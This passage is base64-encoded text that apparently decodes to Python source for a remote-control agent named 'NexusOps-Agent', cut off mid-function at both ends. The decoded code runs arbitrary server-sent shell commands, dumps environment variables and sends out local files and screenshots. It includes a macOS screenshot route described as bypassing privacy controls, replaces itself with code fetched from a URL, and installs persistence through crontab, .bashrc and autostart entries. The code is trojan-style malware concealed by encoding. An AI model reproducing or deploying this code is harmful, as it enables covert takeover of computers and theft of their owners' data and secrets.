BwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIHVwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRo